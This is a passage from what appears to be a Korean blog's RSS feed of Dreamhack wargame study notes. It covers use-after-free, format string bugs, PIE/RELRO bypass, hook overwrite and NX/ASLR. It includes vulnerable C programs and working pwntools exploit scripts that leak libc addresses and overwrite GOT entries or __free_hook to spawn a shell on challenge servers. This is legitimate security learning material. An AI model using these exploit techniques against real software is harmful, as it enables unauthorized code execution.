    printf(&quot;Data: &quot;);
    read(0, custom[c_idx], size - 1);

    printf(&quot;Data: %s\n&quot;, custom[c_idx]);

    printf(&quot;Free idx: &quot;);
    scanf(&quot;%d&quot;, &amp;idx);

    if (idx &lt; 10 &amp;&amp; custom[idx]) {
      free(custom[idx]);
      custom[idx] = NULL;
    }
  }

  c_idx++;
}

int main() {
  int idx;
  char *ptr;

  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);

  while (1) {
    menu();
    scanf(&quot;%d&quot;, &amp;idx);
    switch (idx) {
      case 1:
        human_func();
        break;
      case 2:
        robot_func();
        break;
      case 3:
        custom_func();
        break;
    }
  }
}
</code></pre>
<blockquote>
</blockquote>
<ol>
<li>custom_func 함수에서 포인터 값에 NULL을 주지 않음으로 Dangling Pointer 발생<ul>
<li>unsortedbin에 저장하기 위해 1024바이트 이상의 사이즈 입력</li>
<li>fereed chunk를 이용해 bk, fd 주소를 알아내어 libc base를 알아낸다</li>
</ul>
</li>
<li>Human, Robot struct 사이즈가 같음 <ul>
<li>human age 변수에 one_gadget이용한 주소를 적으면 pointer 함수가 overwrite 되므로 쉘 획득 가능</li>
</ul>
</li>
</ol>
<h2 id="6-4-exploit-code">6-4 exploit code</h2>
<pre><code class="language-python">from pwn import *

p = remote(&quot;host1.dreamhack.games&quot;, 16192)
l = ELF(&#39;./libc-2.27.so&#39;)
arena_offset = l.sym[&#39;__malloc_hook&#39;] + 0x10

def slog(sym, val): success(sym + &#39;: &#39; + hex(val))

def human(weight, age):
    p.sendlineafter(b&#39;&gt;&#39;, b&#39;1&#39;)
    p.sendlineafter(b&#39;: &#39;, str(weight).encode())
    p.sendlineafter(b&#39;: &#39;, str(age).encode())

def robot(weight):
    p.sendlineafter(b&#39;&gt;&#39;, b&#39;2&#39;)
    p.sendlineafter(b&#39;: &#39;, str(weight).encode())

def custom(size, data, idx):
    p.sendlineafter(b&#39;&gt;&#39;, b&#39;3&#39;)
    p.sendlineafter(b&#39;: &#39;, str(size).encode())
    p.sendafter(b&#39;: &#39;, data)
    p.sendlineafter(b&#39;: &#39;, str(idx).encode())

# UAF to calculate the `libc_base`
custom(0x500, b&#39;AAAA&#39;, 100)
custom(0x500, b&#39;AAAA&#39;, 100)
custom(0x500, b&#39;AAAA&#39;, 0)
custom(0x500, b&#39;B&#39;, 100) # data 값이 &#39;B&#39;가 아니라 &#39;C&#39;가 된다면, offset은 0x3ebc42 가 아니라 0x3ebc43이 됩니다.

slog(&quot;main_arena&quot;, arena_offset)

lb = u64(p.recvline()[:-1].ljust(8, b&#39;\x00&#39;)) - 0x3ebc42
og = lb +  0x10a41c# 제약 조건을 만족하는 원 가젯 주소 계산

slog(&#39;libc_base&#39;, lb)
slog(&#39;one_gadget&#39;, og)

# UAF to manipulate `robot-&gt;fptr` &amp; get shell
human(&quot;1&quot;, og)
robot(&quot;1&quot;)

p.interactive()</code></pre>
]]></description>
        </item>
        <item>
            <title><![CDATA[[드림핵-시스템] Memory Corruption : Format String Bug]]></title>
            <link>https://velog.io/@gook_bob/%EB%93%9C%EB%A6%BC%ED%95%B5-%EC%8B%9C%EC%8A%A4%ED%85%9C-Memory-Corruption-Format-String-Bug</link>
            <guid>https://velog.io/@gook_bob/%EB%93%9C%EB%A6%BC%ED%95%B5-%EC%8B%9C%EC%8A%A4%ED%85%9C-Memory-Corruption-Format-String-Bug</guid>
            <pubDate>Thu, 16 Jan 2025 08:22:22 GMT</pubDate>
            <description><![CDATA[<h1 id="1-format-string">1. Format String</h1>
<ul>
<li><p>%[parameter][flags][width][.precision][length][specifier]</p>
</li>
<li><p>형식 지정자</p>
<ul>
<li>d : 부호 있는 10진수 정수</li>
<li>u : 부호 없는 10진수 정수</li>
<li>s : 문자열</li>
<li>x : 부호 없는 16진수 정수</li>
<li>n : 해당하는 위치의 인자에 현재까지 사용된 문자열의 길이 저장, 값 출력 x</li>
<li>p : void형 포인터</li>
</ul>
</li>
</ul>
<h2 id="1-1-format-string-bug">1-1 Format String Bug</h2>
<ul>
<li><p>사용자가 직접 입력할 수 있을때, 공격자는 레지스터, 스택을 읽을 수 있고, 임의 주소 읽기 및 쓰기 가능</p>
<ul>
<li>printf(&quot;%d&quot;, num) : FSB 불가능</li>
<li>printf(num) : FSB 가능</li>
<li>printf 인자 개수를 확인하지 않아 생김, 실제로 인자 넘어오지 않았음에도 호출 규약에 따라 참조하기 때문에 가능한 공격</li>
</ul>
</li>
<li><p>64bit : register에 arg 저장하여 함수 호출 </p>
<ul>
<li>rdi, rsi, rdx, rcx, r8, r9, rsp, rsp + 8, rsp + 16 ....</li>
<li>%p 통해서 해당 레지스터값 출력 가능</li>
</ul>
</li>
<li><p>임의 주소 읽기</p>
</li>
</ul>
<blockquote>
</blockquote>
<ol>
<li>위에서 언급한 %p를 적극활용</li>
<li>AAAA %p %p %p ... 입력시 AAAA가 어디에 위치해 있는지 알 수 있다. -&gt; offset 찾기 위한 과정</li>
</ol>
<ul>
<li>임의 주소 쓰기</li>
</ul>
<blockquote>
</blockquote>
<ol>
<li>%1111c%1$n : 1111 바이트의 문자열을 출력하고, 1번째 offset에 그 바이트를 16진수로 저장</li>
<li>%n : 4byte 저장</li>
<li>%hn : 2byte</li>
<li>%hhn : 1byte</li>
</ol>
<ul>
<li>변조해야하는 값이 큰 경우<ul>
<li>해당 부분을 2부분으로 나눈다 (high, low -&gt; 4바이트의 경우 2바이트 / 2바이트로 나뉘게됨)</li>
</ul>
</li>
</ul>
<h1 id="2-fsb_overwrite">2. fsb_overwrite</h1>
<h2 id="2-1-code-분석">2-1 code 분석</h2>
<ul>
<li>checksec fsb_overwrite</li>
</ul>
<p><img src="https://velog.velcdn.com/images/gook_bob/post/6bdf59f5-d06c-4371-9106-b56f54946991/image.png" alt=""></p>
<blockquote>
</blockquote>
<ol>
<li>x64</li>
<li>canary 없다</li>
</ol>
<pre><code class="language-c">void get_string(char *buf, size_t size) {
  ssize_t i = read(0, buf, size);
  if (i == -1) {
    perror(&quot;read&quot;);
    exit(1);
  }
  if (i &lt; size) {
    if (i &gt; 0 &amp;&amp; buf[i - 1] == &#39;\n&#39;) i--;
    buf[i] = 0;
  }
}

int changeme;

int main() {
  char buf[0x20];

  setbuf(stdout, NULL);

  while (1) {
    get_string(buf, 0x20);
    printf(buf);
    puts(&quot;&quot;);
    if (changeme == 1337) {
      system(&quot;/bin/sh&quot;);
    }
  }
}</code></pre>
<blockquote>
</blockquote>
<ol>
<li>bof 불가능</li>
<li>무한 루프 -&gt; 특정 주소 leak 가능</li>
<li>changeme 주소 구하기 위한 Libc base 구하는 작업 필수<ul>
<li>changeme variable is non initialized globa variable : symbols 통해서 추적 가능<ul>
<li>printf가 시작하기전에 gdb 통해서 main함수가 rsp 어디에 저장되는지 checking</li>
</ul>
</li>
</ul>
</li>
</ol>
<ul>
<li>checking main</li>
</ul>
<p><img src="https://velog.velcdn.com/images/gook_bob/post/2c667ef3-7aaf-441c-ac65-785c0b3c984d/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/gook_bob/post/ad40e63e-eb5c-4cdd-ba62-e56618bc0ac7/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/gook_bob/post/cf2c0736-beb4-4f8c-8a83-3296a93de676/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/gook_bob/post/d335aa52-f963-42ba-93e1-94d97eeffe7e/image.png" alt=""></p>
<blockquote>
</blockquote>
<ol>
<li>0x58 위치에 저장된 것 확인 가능</li>
<li>vmmap 통해서 codesection start 지점확인 </li>
<li>0x1293 차이나는 것 확인가능<ul>
<li>binary실행 환경이나 PIE등의 조건때문에 address는 달라짐</li>
<li>offset distance는 일정하게 유지됨</li>
</ul>
</li>
</ol>
<blockquote>
</blockquote>
<ol>
<li>first Loop에서 main의 주소를 가져오고 0x1293을 빼준다<ul>
<li>libc base = main - 0x1293</li>
</ul>
</li>
<li>e.sym[&#39;changeme&#39;] 통해서 변수 주소 가져온 후 libc base 더해줌<ul>
<li>change_addr  = e.sym[&#39;changeme&#39;] + libc base</li>
</ul>
</li>
<li>이후 저절한 payload 작성</li>
</ol>
<h2 id="2-2-exploit-code">2-2 exploit code</h2>
<pre><code class="language-python">from pwn import *

p = remote(&quot;host1.dreamhack.games&quot;, 12431)
e = ELF(&quot;./fsb_overwrite&quot;)


# gdb 통해서 파악한 이후 해당 코드 작성할 것
# 1. 메인 안의 Printf 함수 호출하는 줄에 breakpoint를 건다
# 2. x/30xg $rsp 를 통해 code section 안을 참조하는 부분이 어디인지 파악
# vmmap을 통해서 확인가능 0x555555....으로 시작할 것
# 찾은 주소와 start 주소를 뺀다 -&gt; libc base

# $rsp + 0x58에 위치해 있다 -&gt; get the address of the 17th offset 
# 원격서버에서는 + 0x48에 위치..?
p.sendline(b&quot;%15$p&quot;) 
leaked = int(p.recvline()[:-1], 16)
code_base = leaked - 0x1293
changeme = code_base + e.sym[&#39;changeme&#39;]

# %1337c%8 - rsp
# $nAAAAAA - rsp + 8
# addr of changeme - rsp + 16
# %8$n -&gt; 8번째 arg에 바이트크기를 저장해라 
# 8th arg is rsp + 16
payload = b&quot;%1337c&quot; + b&quot;%8$n&quot; + b&#39;A&#39;*6 + p64(changeme)
p.sendline(payload)
p.interactive()</code></pre>
<blockquote>
</blockquote>
<ul>
<li>주석을 통해서 각각의 Payload가 어떤 역할 하는지 확인 가능</li>
<li>local 과 remote 간의 offset 차이 존재하기때문에 Dockerfile 통해서 미리 확인해볼 것 <ul>
<li>나는 AAAA 이후 %p 를 20개 정도 적으며 체크해봄</li>
</ul>
</li>
</ul>
<h1 id="3-baisc_002">3. baisc_002</h1>
<h2 id="3-1-code-분석">3-1 code 분석</h2>
<ul>
<li>checksec basic_002</li>
</ul>
<p><img src="https://velog.velcdn.com/images/gook_bob/post/f912f536-5e3a-471a-b589-8036f027b070/image.png" alt=""></p>
<ul>
<li>basic_002.c</li>
</ul>
<pre><code class="language-c">void get_shell() {
    system(&quot;/bin/sh&quot;);
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();

    read(0, buf, 0x80);
    printf(buf);

    exit(0);
}</code></pre>
<p><img src="https://velog.velcdn.com/images/gook_bob/post/a6b46a08-4afd-4b99-8362-53d4d344947c/image.png" alt=""></p>
<blockquote>
</blockquote>
<ol>
<li>exit 함수를 get_shell 함수로 overwrite 하면 될듯</li>
<li>pwntool중에 Overwirte 편하게 해주는 함수 발견<ul>
<li>fmtstr_payload(offset, {changed addr : changing addr})</li>
</ul>
</li>
</ol>
<h2 id="2-2-exploit-code-1">2-2 exploit code</h2>
<pre><code class="language-python">from pwn import *

p = remote(&quot;host3.dreamhack.games&quot;, 20226)
e = ELF(&quot;./basic_002&quot;)

exit_plt = e.got[&#39;exit&#39;]
get_shell = e.sym[&#39;get_shell&#39;]

payload = fmtstr_payload(1, {exit_plt : get_shell})
p.sendline(payload)
p.interactive()</code></pre>
<h1 id="3-basic_003">3. basic_003</h1>
<h2 id="3-1-code-분석-1">3-1 code 분석</h2>
<ul>
<li>checksec basic_003</li>
</ul>
<p><img src="https://velog.velcdn.com/images/gook_bob/post/3aca6a39-ebe7-4914-bb57-70bf84f57070/image.png" alt=""></p>
<ul>
<li>basic_003.c</li>
</ul>
<pre><code class="language-c">void get_shell() {
    system(&quot;/bin/sh&quot;);
}
int main(int argc, char *argv[]) {
    char *heap_buf = (char *)malloc(0x80);
    char stack_buf[0x90] = {};
    initialize();
    read(0, heap_buf, 0x80);
    sprintf(stack_buf, heap_buf);
    printf(&quot;ECHO : %s\n&quot;, stack_buf);
    return 0;
}</code></pre>
<blockquote>
</blockquote>
<ol>
<li>canary 없기때문에 Overflow로 ret addr overwrite 하면될 듯</li>
<li>gdb 통해서 buf2rbp 값 구하기<ul>
<li>0x98 + 4 = 156(buf2ret)</li>
</ul>
</li>
</ol>
<h2 id="3-2-exploit-code">3-2 exploit code</h2>
<pre><code class="language-python">p = remote(&quot;host1.dreamhack.games&quot;, 20589)
e = ELF(&quot;./basic_003&quot;)

get_shell = e.sym[&#39;get_shell&#39;]

payload = b&quot;%156c&quot; + p32(get_shell)
p.sendline(payload)
p.interactive()</code></pre>
]]></description>
        </item>
        <item>
            <title><![CDATA[[드림핵-시스템]Bypass PIE & RELRO]]></title>
            <link>https://velog.io/@gook_bob/%EB%93%9C%EB%A6%BC%ED%95%B5-%EC%8B%9C%EC%8A%A4%ED%85%9CBypass-PIE-RELRO</link>
            <guid>https://velog.io/@gook_bob/%EB%93%9C%EB%A6%BC%ED%95%B5-%EC%8B%9C%EC%8A%A4%ED%85%9CBypass-PIE-RELRO</guid>
            <pubDate>Sat, 11 Jan 2025 07:22:15 GMT</pubDate>
            <description><![CDATA[<h1 id="1-pic">1. PIC</h1>
<ul>
<li>Position-Independent Code<ul>
<li>메모리의 어느 주소에 적재되어도 코드의 의미가 훼손되지 않음을 의미</li>
</ul>
</li>
</ul>
<blockquote>
</blockquote>
<ul>
<li>ELF는 실행파일, 공유 오브젝트 2가지가 존재한다.</li>
</ul>
<ol>
<li>공유 오브젝트 : libc.so 와 같은 라이브러리<ul>
<li>기본적으로 재배치가 가능하도록 설계됨</li>
</ul>
</li>
<li>PIC 적용 X : 절대주소 참조</li>
<li>PIC 적용 O : 상대주소 참조</li>
</ol>
<h1 id="2-pie">2. PIE</h1>
<ul>
<li>Position-Independent Executable<ul>
<li>무작위 주소에 매핑되어도 실행 가능한 실행 파일을 의미</li>
<li>ASLR도입으로 실행 파일도 무작위 주소에 매핑될 수 있게 하려했지만 파일 형식 변경시 호환성 문제가 발생함  -&gt; 원래 재배치가 가능했던 공유 오브젝트를 실행 파일로 사용하기로 함</li>
</ul>
</li>
</ul>
<h2 id="2-1-pie-on-aslr">2-1 PIE on ASLR</h2>
<ul>
<li>PIE 재배치 가능 : ASLR 적용된 시스템에서는 실행 파일도 무작위 주소에 적재됨 -&gt; PIE 적용시 main 매 실행마다 바뀜<ul>
<li>적용되지 않은 시스템 : PIE 적용된 바이너리라도 무작위 주소에 적재되지 않는다.</li>
</ul>
</li>
</ul>
<h2 id="2-2-pie-우회">2-2 PIE 우회</h2>
<blockquote>
</blockquote>
<ol>
<li>코드 베이스 구하기<ul>
<li>무작위 주소에 매핑되므로 코드 영역의 가젯 / 데이터 영역에 접근 위해서는 바이너리가 적재된 주소 알아야함 이 주소를 PIE 베이스, 코드 베이스라고 부름</li>
<li>코드 베이스 계산 : 코드 영역의 임의주소 읽고 그 주소에서 오프셋 빼야함(ROP)와 유사</li>
</ul>
</li>
<li>Partial Overwrite<ul>
<li>코드 베이스 구하기 어려운 경우 반환 주소의 일부 바이트만 덮는 공격 고려해 볼 수 있다.</li>
<li>ASLR 특성 상, 코드 영역의 주소도 하위 12비트 값은 항상 같다. 따라서 사용하려는 코드 가젯의 주소가 반환 주소와 하위 반 바이트만 다르다면, 이 값만 덮어서 원하는 코드 실행이 가능<ul>
<li>그러나 2bytes 이상이 다른 주소로 실행 흐름을 옮기고자 한다면, ASLR로 뒤섞이는 주소 맞춰야하므로 브루트 포싱이 필요 - 공격 확률에 따라 성공 </li>
</ul>
</li>
</ul>
</li>
</ol>
<h1 id="3-relro">3. RELRO</h1>
<ul>
<li>RELocationRead-Only : 데이터 세그먼트 보호기법 <ul>
<li>쓰기 권한이 불필요한 데이터 세그먼트에 쓰기 권한 제거</li>
<li>Lazy Binding : 함수가 처음 호출될 때 함수의 주소를 구하고, 이를 GOT에 적는 행위 - GOT에 쓰기 권한이 있어야함</li>
</ul>
</li>
</ul>
<h2 id="3-1-relro-우회">3-1 RELRO 우회</h2>
<blockquote>
</blockquote>
<ol>
<li>Partial RELRO<ul>
<li>.init_array, .final_array, .got 영역에는 쓰기 권한 제거</li>
<li>.got.plt 영역에 대한 쓰기 권한 존재 : GOT Overwrite 공격 활용가능</li>
</ul>
</li>
<li>Full RELRO<ul>
<li>위의 언급된 모든 영역에 쓰기 권한 제거</li>
<li>라이브러리에 위치한 hook 쓰기 가능 (malloc_hook, free_hook...등)<ul>
<li>동적 메모리의 할당, 해제 과정에서 발생하는 버그 디버깅 쉽게 하려고 만들어짐</li>
</ul>
</li>
<li>Hook Overwrite<ul>
<li>함수 시작 부분에서 __malloc_hook 존재하는지 검사, 존재하면 호출</li>
<li>_malloc_hook : libc.so에서 쓰기 가능한 영역에 위치</li>
<li>공격자 : libc 매핑된 주소 알 때, 이 변수 조작하고 malloc 호출해 실행 흐름 조작 가능</li>
</ul>
</li>
</ul>
</li>
</ol>
<h3 id="hooking">hooking</h3>
<blockquote>
</blockquote>
<ul>
<li>운영체제가 어떤 코드 실행하려 할때, 이를 낚아채어 다른 코드가 실행되게 하는것, 실행되는 코드 : Hook</li>
<li>malloc, free에 훅 설치시 소프트웨어에서 할당, 해제하는 메모리 모니터링 가능</li>
</ul>
<h3 id="hook-overwrite">Hook Overwrite</h3>
<blockquote>
</blockquote>
<ul>
<li>훅의 특징 이용한 공격 기법</li>
<li>Glibc 2.33 이하 버전에서 libc 데이터 영역에는 malloc(), free() 호출시 HOOK 함수 포인터 형태로 존재</li>
<li>Full RELRO 적용되더라도 libc 데이터 영역에는 쓰기 가능하므로 FULL RELRO 우회하는 기법이기도 함</li>
</ul>
<h3 id="one_gadget">one_gadget</h3>
<blockquote>
</blockquote>
<ul>
<li>libc 내에 존재하는 가젯</li>
<li>기존에는 셸 실행하려면 여러개 가젯 조합해 ROP chain 구성<ul>
<li>원가젯은 단일 가젯만으로도 실행 가능</li>
</ul>
</li>
</ul>
<blockquote>
</blockquote>
<ul>
<li>설치방법
<a href="https://github.com/david942j/one_gadget">one_gadget github link</a><pre><code>Apt install ruby
Gem install one_gadget</code></pre></li>
</ul>
<h1 id="4-fho">4. fho</h1>
<h2 id="4-1-code-분석">4-1 code 분석</h2>
<ul>
<li>checksec fho</li>
</ul>
<p><img src="https://velog.velcdn.com/images/gook_bob/post/76e443d0-270d-4073-b57b-c41c13df30dc/image.png" alt=""></p>
<blockquote>
</blockquote>
<ul>
<li><p>Full RELRO 이므로 Hook Overwrite 가 가능하다면 시도해 볼 것</p>
</li>
<li><p>fho.c</p>
</li>
</ul>
<p><img src="https://velog.velcdn.com/images/gook_bob/post/d36df2b5-0377-4924-abad-648977cabac9/image.png" alt=""></p>
<blockquote>
</blockquote>
<ol>
<li>bof 가능<ul>
<li>canary leak</li>
</ul>
</li>
<li>addr 포인터에 주소 지정가능<ul>
<li>free Hook 주소</li>
</ul>
</li>
<li>value값에 system() payload 삽입</li>
<li>마지막 scanf에는 &quot;/bin/sh&quot;를 함으로써 Hooking 작업</li>
</ol>
<ul>
<li>fho.py</li>
</ul>
<pre><code class="language-python">from pwn import *

binary = &#39;./fho&#39;
p = remote(&#39;host1.dreamhack.games&#39;,15343)
e = ELF(binary)
libc = ELF(&#39;libc-2.27.so&#39;)

# [1] Leak libc base
buf = &#39;A&#39; * 0x48
p.sendafter(b&#39;Buf: &#39;, buf)
p.recvuntil(buf)
libc_start_main_xx = u64(p.recvline()[:-1] + b&#39;\x00&#39; * 2)
libc_base = libc_start_main_xx - (libc.sym[&#39;__libc_start_main&#39;] + 231)
#libc_base = libc_start_main_xx - libc.libc_start_main_return

system = libc_base + libc.sym[&#39;system&#39;]
free_hook = libc_base + libc.sym[&#39;__free_hook&#39;]
binsh = libc_base + next(libc.search(b&#39;/bin/sh&#39;))


#encode(encoding=&#39;UTF-8&#39;), default = UTF-8
p.recvuntil(&#39;To write: &#39;)
p.sendline(str(free_hook).encode())
p.recvuntil(&#39;With: &#39;)
p.sendline(str(system).encode())

p.recvuntil(&#39;To free: &#39;)
p.sendline(str(binsh).encode())

p.interactive()</code></pre>
<blockquote>
</blockquote>
<ol>
<li>__libc_start_main + 231 : 실제 서버에서 사용하는 libc 버젼이 다르기 때문</li>
<li></li>
</ol>
<h1 id="5-oneshot">5. oneshot</h1>
<h2 id="5-1-code-분석">5-1 code 분석</h2>
<p><img src="https://velog.velcdn.com/images/gook_bob/post/bf8f3466-fbfb-4668-8ca4-b5a8665b0a79/image.png" alt=""></p>
<ul>
<li>oneshot.c</li>
</ul>
<pre><code class="language-c">#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;signal.h&gt;
#include &lt;unistd.h&gt;

void alarm_handler() {
    puts(&quot;TIME OUT&quot;);
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int main(int argc, char *argv[]) {
    char msg[16];
    size_t check = 0;

    initialize();

    printf(&quot;stdout: %p\n&quot;, stdout);

    printf(&quot;MSG: &quot;);
    read(0, msg, 46);

    if(check &gt; 0) {
        exit(0);
    }

    printf(&quot;MSG: %s\n&quot;, msg);
    memset(msg, 0, sizeof(msg));
    return 0;
}
</code></pre>
<blockquote>
</blockquote>
<ol>
<li>Partial RELRO</li>
<li>Bof 가능</li>
<li>payload 작성시 size_t check &gt; 0 이 되면 안된다는 것을 명심</li>
</ol>
<h2 id="5-2-exploit-code">5-2 exploit code</h2>
<pre><code class="language-python">from pwn import *

p = remote(&#39;host1.dreamhack.games&#39;, 18201)
e = ELF(&#39;./oneshot&#39;)
libc = ELF(&#39;./libc.so.6&#39;)

p.recvuntil(&quot;stdout: &quot;)
stdout = int(p.recvline()[:-1], 16)
stdout_offset = libc.sym[&#39;_IO_2_1_stdout_&#39;]

lb = stdout - stdout_offset
og = lb + 0x45216

payload = b&#39;A&#39;*0x18 + b&#39;\x00&#39; * 8 + b&#39;B&#39; * 8 + p64(og)
p.sendafter(&quot;MSG: &quot;, payload)
p.interactive()</code></pre>
<blockquote>
</blockquote>
<ol>
<li>원가젯 통해서 Exploit 코드 작성 (Ret 부분에 og 삽입)</li>
<li>check 변수는 0보다 크면 안되기 때문에 0으로 설정</li>
</ol>
<h1 id="6-hook">6. hook</h1>
<p><img src="https://velog.velcdn.com/images/gook_bob/post/34eb1c87-d3b7-401b-9de6-f52edc617856/image.png" alt=""></p>
<ul>
<li>hook.c</li>
</ul>
<pre><code class="language-c">#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;signal.h&gt;
#include &lt;unistd.h&gt;

void alarm_handler() {
    puts(&quot;TIME OUT&quot;);
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int main(int argc, char *argv[]) {
    long *ptr;
    size_t size;

    initialize();

    printf(&quot;stdout: %p\n&quot;, stdout);

    printf(&quot;Size: &quot;);
    scanf(&quot;%ld&quot;, &amp;size);

    ptr = malloc(size);

    printf(&quot;Data: &quot;);
    read(0, ptr, size);

    *(long *)*ptr = *(ptr+1);

    free(ptr);
    free(ptr);

    system(&quot;/bin/sh&quot;);
    return 0;
}</code></pre>
<blockquote>
</blockquote>
<ol>
<li>FULL RELRO이므로 hook overwrite 시도</li>
<li>사이즈 bof 가능하도록 충분히 큰값 설정가능</li>
<li>hooking 위해 free hook 주소와, one_gadget payload 작성</li>
</ol>
<h2 id="6-2-exploit-code">6-2 exploit code</h2>
<pre><code class="language-python">from pwn import *

p = remote(&#39;host1.dreamhack.games&#39;, 13475)
e = ELF(&#39;./hook&#39;)
libc = ELF(&#39;./libc-2.23.so&#39;)

p.recvuntil(&#39;stdout: &#39;)
stdout = int(p.recvline()[:-1], 16)
lb = stdout - libc.sym[&#39;_IO_2_1_stdout_&#39;]

free_hook = lb + libc.sym[&#39;__free_hook&#39;]
p.sendlineafter(&quot;Size: &quot;, b&quot;400&quot;)

og = lb + 0x4527a

payload = p64(free_hook) + p64(og)
p.sendlineafter(&quot;Data: &quot;, payload)

p.interactive()</code></pre>
]]></description>
        </item>
        <item>
            <title><![CDATA[[드림핵-시스템] Mitigation: NX & ASLR]]></title>
            <link>https://velog.io/@gook_bob/%EB%93%9C%EB%A6%BC%ED%95%B5-%EC%8B%9C%EC%8A%A4%ED%85%9C-Mitigation-MX-ASLR</link>
            <guid>https://velog.io/@gook_bob/%EB%93%9C%EB%A6%BC%ED%95%B5-%EC%8B%9C%EC%8A%A4%ED%85%9C-Mitigation-MX-ASLR</guid>
            <pubDate>Thu, 02 Jan 2025 12:16:40 GMT</pubDate>
            <description><![CDATA[<h1 id="1-nx-aslr">1. NX, ASLR</h1>
<h2 id="1-1-nx">1-1 NX</h2>
<ul>
<li>실행에 사용되는 메모리 영역과 쓰기에 사용되는 메모리 영역 분리하는 보호 기법</li>
</ul>
<blockquote>
</blockquote>
<ol>
<li>코드 영역 쓰기 권한 있을 경우 공격자가 수정시 원하는 코드 실행 가능</li>
<li>스택, 데이터 영역 실행 권한 : Return to shellcode 같은 공격 시도 가능</li>
</ol>
<h3 id="1-1-1-gdb-vmmap">1-1-1 gdb vmmap</h3>
<ul>
<li>NX 적용 전후의 메모리 맵 비교가능</li>
</ul>
<blockquote>
</blockquote>
<ol>
<li>적용 X bin: 스택영역 실행 권한 존재 - rwx(nx-disabled)</li>
<li>적용 O bin : 코드 영역 ㅗ이 실행 권한 X</li>
<li>-zexecstack 옵션 제거후 컴파일시 nx 활성화 됨</li>
</ol>
<br>

<h2 id="1-2-aslr">1-2 ASLR</h2>
<ul>
<li>바이너리가 실행될 때마다 스택, 힙, 공유 라이브러리 등 임의의 주소에 할당하는 보호 기법</li>
</ul>
<blockquote>
</blockquote>
<ul>
<li>cat /proc /sys/kernel/randomize_va_sapce</li>
</ul>
<ol>
<li>No ASLR - 0 : ASLR 적용 X</li>
<li>Conservative Randomization - 1 : 스택, 라이브러리, vdso 등</li>
<li>conservative Randomization + brk - 2 : 1의 영역과 brk로 할당한 영역</li>
</ol>
<h3 id="1-2-1-특징">1-2-1 특징</h3>
<blockquote>
</blockquote>
<ol>
<li>코드 영역의 Main 함수 제외한 다른 영역의 주소들은 실행마다 변경됨 -&gt; 실행 전 주소 예측 불가능</li>
<li>libc_base, printf 주소 하위 12비트 값 변경 X<ul>
<li>리눅스 ASLR 적용시 파일을 페이지 단위로 임의 주소에 매핑, 페이지의 크기인 12비트 이하로는 주소 변경 X</li>
<li>libc_base, printf 주소차이 항상 같다 : 라이브러리 파일 그대로 매핑 -&gt; 심볼들 간의 Offset은 항상 일정</li>
</ul>
</li>
<li>반환주소 쉘코드 직접 덮는 대신 이들 활용시 NX, ASLR 우회하여 공격 가능<ul>
<li>Return-To-Libc (RTL)</li>
<li>Return-Oriented-Programming (ROP)</li>
</ul>
</li>
</ol>
<br>

<h1 id="2-library">2. Library</h1>
<ul>
<li>컴퓨터 시스템에서 프로그램들이 함수나 변수 공유해서 사용할 수 있게 한다. 반복적으로 정의해야하는 수고를 덜어주기 때문에 개발의 효율 상승</li>
</ul>
<h2 id="2-1-dynamic-library-link">2-1 Dynamic library link</h2>
<blockquote>
</blockquote>
<ol>
<li>바이너리 실행시 라이브러리가 프로세스의 메모리에 매핑</li>
<li>실행 중에 라이브러리의 함수 호출시 매핑된 라이브러리에서 호출한 함수의 주소를 찾고 그 함수 실행</li>
<li>PLT(Procedure Linkage Table)와 같은 주소 가져옴</li>
</ol>
<h2 id="2-2-static-library-link">2-2 Static library link</h2>
<blockquote>
</blockquote>
<ol>
<li>바이너리에 정적 라이브러리의 필요한 모든 함수 포함</li>
<li>해당 함수 호출시 라이브러리를 참조하는 것이 아니라 자신의 함수 호출하는것처럼 호출 가능</li>
<li>바이너리에서 라이브러리 사용시 그 라이브러리 복제가 여러번 이루어지게 되므로 용량 낭비</li>
</ol>
<h1 id="3-plt--got">3. PlT &amp; GOT</h1>
<blockquote>
</blockquote>
<ul>
<li>첫 호출 </li>
</ul>
<ol>
<li>GOT에는 함수의 주소가 저장되어 있지 않음</li>
<li>dl_resolve 함수 실행하여 해당 함수의 주소를 GOT에 저장</li>
</ol>
<ul>
<li>두번째 이후<ul>
<li>GOT의 주소 가져옴</li>
</ul>
</li>
</ul>
<blockquote>
</blockquote>
<ul>
<li>runtime resolve : 바이너리 실행되면 ASLR에 의해 임의의 주소에 매핑, 이 상태에서 라이브러리 함수 호출시 함수의 이름 바탕으로 라이브러리에서 심블들 탬색하고, 함수 발견시 그 주소로 실행 흐름을 옮기는 과정</li>
</ul>
<blockquote>
</blockquote>
<ol>
<li>반복 호출되는 함수 정의 매번 탐색시 비효율 -&gt; ELF는 GOT(Global Offset Table)라는 테이블 두고, Resolve된 함수의 주소 해당 테이블에 저장</li>
<li>gdb got : GOT 상태 보여주는 명령어</li>
</ol>
<ul>
<li>puts 호출 시나리오</li>
</ul>
<blockquote>
</blockquote>
<ol>
<li>주소 찾기전 : plt section 어딘가에 주소 적혀있음, 해당 주소에 breakpoint<ul>
<li>PLT : 함수 실행전 주소 != 호출후 주소</li>
<li>GOT : 함수 실행전 주소 == 호출후 주소</li>
</ul>
</li>
<li>dl_runtime_resolve_fxsae 호출됨 : 해당 함수에서 puts 주소 구해지고, GOT 엔트리에 주소 슨다.</li>
<li>이후 빠져오면 GOT 엔트리에 LIBC 영역 내에 puts 주소 쓰여짐</li>
</ol>
<ul>
<li>시스템 해킹관점 PLT, GOT</li>
</ul>
<blockquote>
</blockquote>
<ol>
<li>동적 링크된 바이너리에서 라이브러리 함수 주소 찾고, 기록시 사용되는 중요한 테이블</li>
<li>PLT에서 GOT 참조하여 실행흐름 옮길때 GOT의 값을 검증하지 않는다는 보안상의 약점 존재<ul>
<li>puts의 GOT 엔트리에 저장된 값을 공격자가 임의로 변경 가능하면 puts 호출될때 원하는 코드 실행가능 =&gt; GOT OVerwrite</li>
</ul>
</li>
</ol>
<br>

<h1 id="4-return-to-library">4. Return To Library</h1>
<ul>
